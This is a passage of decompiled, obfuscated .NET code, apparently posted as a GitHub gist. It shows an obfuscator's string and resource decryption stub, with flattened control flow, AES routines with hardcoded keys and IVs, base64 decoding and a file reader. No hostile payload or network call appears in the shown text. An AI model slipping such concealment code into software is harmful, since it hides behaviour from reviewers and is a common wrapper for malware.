arg_2278_0 = 288;
continue;
IL_28BD:
array[20] = 167 - 55;
arg_2278_0 = 1;
continue;
IL_28DC:
array[16] = (byte)num6;
arg_2278_0 = 329;
continue;
IL_2A09:
array2[13] = 44 + 18;
arg_2278_0 = 274;
continue;
IL_2A4F:
cryptoStream.Close();
arg_2278_0 = 122;
continue;
IL_2A60:
array[15] = (byte)num5;
arg_2278_0 = 325;
continue;
IL_2AC7:
array2[15] = (byte)num3;
arg_2278_0 = 290;
continue;
IL_2AFE:
array[20] = (byte)num5;
arg_2278_0 = 30;
continue;
IL_2B16:
array2[11] = (byte)num4;
arg_2278_0 = 247;
continue;
IL_2BA0:
array5 = array2;
arg_2278_0 = 209;
}
try
{
IL_2BF3:
byte[] array6 = new byte[num7];
int num8 = 2;
while (true)
{
switch (num8)
{
case 0:
case 2:
goto IL_2C06;
case 1:
case 3:
goto IL_2C57;
default:
num8 = 3;
if (exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto IL_2C57;
}
break;
}
}
IL_2C06:
Array.Copy(exusuKvsSOxhZLQsnV.eTKTfNqfR, num + 4, array6, 0, num7);
IL_2C57:
return Encoding.get_Unicode().GetString(array6, 0, array6.Length);
}
catch
{
}
return "";
}
// Token: 0x0600002D RID: 45 RVA: 0x00006058 File Offset: 0x00004458
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))]
[MethodImpl(8)]
internal static string eQsFnVilq(string text)
{
while (false)
{
object arg_0A_0 = null[0];
}
"{11111-22222-50001-00000}".Trim();
byte[] array = Convert.FromBase64String(text);
return Encoding.get_Unicode().GetString(array, 0, array.Length);
}
// Token: 0x0600002E RID: 46 RVA: 0x00006094 File Offset: 0x00004494
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))]
[MethodImpl(8)]
private static byte[] euODRA2sF(string text)
{
while (false)
{
object arg_0A_0 = null[0];
}
byte[] array;
using (FileStream fileStream = new FileStream(text, 3, 1, 1))
{
int num = 0;
long length = fileStream.get_Length();
int i = (int)length;
array = new byte[i];
while (i > 0)
{
int num2 = fileStream.Read(array, num, i);
num += num2;
i -= num2;
}
}
return array;
}
// Token: 0x0600002F RID: 47 RVA: 0x00006118 File Offset: 0x00004518
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))]
[MethodImpl(8)]
private static byte[] e4ki0LuhD(byte[] array)
{
while (false)
{
object arg_0A_0 = null[0];
}
MemoryStream memoryStream = new MemoryStream();
AesManaged aesManaged = new AesManaged();
aesManaged.set_Key(new byte[]
{
161,
247,
127,
148,
52,
30,
89,
93,
3,
7,
174,
230,
182,
85,
113,
51,
62,
250,
127,
4,
6,
177,
109,
176,
142,
186,
229,
83,
29,
110,
8,
177
});
aesManaged.set_IV(new byte[]
{
84,
72,
25,
143,
57,
242,
182,
79,
24,
99,
161,
175,
253,
77,
48,
33
});
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesManaged.CreateDecryptor(), 1);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.Close();
return memoryStream.ToArray();
}
// Token: 0x06000030 RID: 48 RVA: 0x00006198 File Offset: 0x00004598
[MethodImpl(8)]
private byte[] eyetSa8AI()
{
while (false)
{
object arg_0A_0 = null[0];
}
return null;
}
// Token: 0x06000031 RID: 49 RVA: 0x000061B4 File Offset: 0x000045B4
[MethodImpl(8)]
private byte[] e7T4PBXMA()
{
while (false)
{
object arg_0A_0 = null[0];
}
return null;
}
// Token: 0x06000032 RID: 50 RVA: 0x000061D0 File Offset: 0x000045D0
[MethodImpl(8)]
private byte[] eW2B1XAEl()
{
while (false)
{
object arg_0A_0 = null[0];
}
string text = "{11111-22222-20001-00001}";
if (text.get_Length() > 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000033 RID: 51 RVA: 0x00006220 File Offset: 0x00004620
[MethodImpl(8)]
private byte[] ev7QrvdMR()
{
while (false)
{
object arg_0A_0 = null[0];
}
string text = "{11111-22222-20001-00002}";
if (text.get_Length() > 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000034 RID: 52 RVA: 0x00006270 File Offset: 0x00004670
[MethodImpl(8)]
private byte[] eCHho562R()
{
while (false)
{
object arg_0A_0 = null[0];
}
string text = "{11111-22222-30001-00001}";
if (text.get_Length() > 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000035 RID: 53 RVA: 0x000062C0 File Offset: 0x000046C0
[MethodImpl(8)]
private byte[] eNDbL8HsD()
{
while (false)
{
object arg_0A_0 = null[0];
}
string text = "{11111-22222-30001-00002}";
if (text.get_Length() > 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000036 RID: 54 RVA: 0x00006310 File Offset: 0x00004710
[MethodImpl(8)]
internal byte[] esT8qNZ6Z()
{
while (false)
{
object arg_0A_0 = null[0];
}
string text = "{11111-22222-40001-00001}";
if (text.get_Length() > 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000037 RID: 55 RVA: 0x00006360 File Offset: 0x00004760
[MethodImpl(8)]
internal byte[] eQKmas6sd()
{
while (false)
{
object arg_0A_0 = null[0];
}
string text = "{11111-22222-40001-00002}";
if (text.get_Length() > 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000038 RID: 56 RVA: 0x000063B0 File Offset: 0x000047B0
[MethodImpl(8)]
internal byte[] eWQwYZGvG()
{
while (false)
{
object arg_0A_0 = null[0];
}
string text = "{11111-22222-50001-00001}";
if (text.get_Length() > 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000039 RID: 57 RVA: 0x00006400 File Offset: 0x00004800
[MethodImpl(8)]
internal byte[] e4JIrpGbP()
{
while (false)
{
object arg_0A_0 = null[0];
}
string text = "{11111-22222-50001-00002}";
if (text.get_Length() > 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x0600003A RID: 58 RVA: 0x00006450 File Offset: 0x00004850
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))]
[MethodImpl(8)]
internal static void ce4DmfsmSrOT856tDgfrkMb()
{
while (false)
{
object arg_0A_0 = null[0];
}
}
// Token: 0x0600003B RID: 59 RVA: 0x00006460 File Offset: 0x00004860
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))]
[MethodImpl(8)]
internal static string evpxd9ltv(string text, string text2)
{
while (false)
{
object arg_0A_0 = null[0];
}
byte[] bytes = Encoding.get_Unicode().GetBytes(text);
byte[] array = bytes;
byte[] key = new byte[]
{
82,
102,
104,
110,
32,
77,
24,
34,
118,
181,
51,
17,
18,
51,
12,
109,
10,
32,
77,
24,
34,
158,
161,
41,
97,
28,
118,
181,
5,
25,
1,
88
};
SHA1Managed sHA1Managed = new SHA1Managed();
byte[] iV = sHA1Managed.ComputeHash(Encoding.get_Unicode().GetBytes(text2));
MemoryStream memoryStream = new MemoryStream();
AesManaged aesManaged = new AesManaged();
aesManaged.set_Key(key);
aesManaged.set_IV(iV);
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesManaged.CreateEncryptor(), 1);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.Close();
return Convert.ToBase64String(memoryStream.ToArray());
}
// Token: 0x0600003C RID: 60 RVA: 0x00006504 File Offset: 0x00004904
[MethodImpl(8)]
public exusuKvsSOxhZLQsnV()
{
while (false)
{
object arg_0A_0 = null[0];
}
base..ctor();
}
// Token: 0x0600003D RID: 61 RVA: 0x0000651C File Offset: 0x0000491C
[MethodImpl(8)]
internal static bool zvg5ndW6LDMdXVdWcF()
{
while (false)
{
object arg_0A_0 = null[0];
}
return true;
}
// Token: 0x0600003E RID: 62 RVA: 0x00006530 File Offset: 0x00004930
[MethodImpl(8)]
internal static bool lvYMdYLtZONPtkk9EC()
{
while (false)
{
object arg_0A_0 = null[0];
}
return false;
}
// Token: 0x04000012 RID: 18
private static byte[] eAm9qmvKj;
// Token: 0x04000013 RID: 19
private static byte[] e870FHr3g;
// Token: 0x04000014 RID: 20
private static object eC2YQ4qZN;
// Token: 0x04000015 RID: 21
private static int[] e2EkluGcy;
// Token: 0x04000016 RID: 22
private static IntPtr eTB3iFeo2;
// Token: 0x04000017 RID: 23
private static byte[] eEV7t39YD;
// Token: 0x04000018 RID: 24
private static IntPtr e8ts5Z8vY;
// Token: 0x04000019 RID: 25
private static byte[] eTKTfNqfR;
// Token: 0x0200000D RID: 13
internal class eDyeSaa8AI7TPBXMAW : Attribute
{
// Token: 0x0600003F RID: 63 RVA: 0x00006544 File Offset: 0x00004944
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))]
[MethodImpl(8)]
public eDyeSaa8AI7TPBXMAW(object obj)
{
while (false)
{
object arg_0A_0 = null[0];
}
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE();
base..ctor();
}
// Token: 0x0200000E RID: 14
internal class e21XAEFlv7rvdMRCHo<T>
{
// Token: 0x06000040 RID: 64 RVA: 0x00006560 File Offset: 0x00004960
[MethodImpl(8)]
public e21XAEFlv7rvdMRCHo()
{
while (false)
{
object arg_0A_0 = null[0];
}
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE();
base..ctor();
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment